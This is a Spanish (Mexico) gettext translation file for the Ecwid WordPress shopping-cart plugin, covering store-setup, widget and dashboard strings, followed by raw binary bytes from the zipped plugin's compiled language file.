like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_MX.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_MX.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� 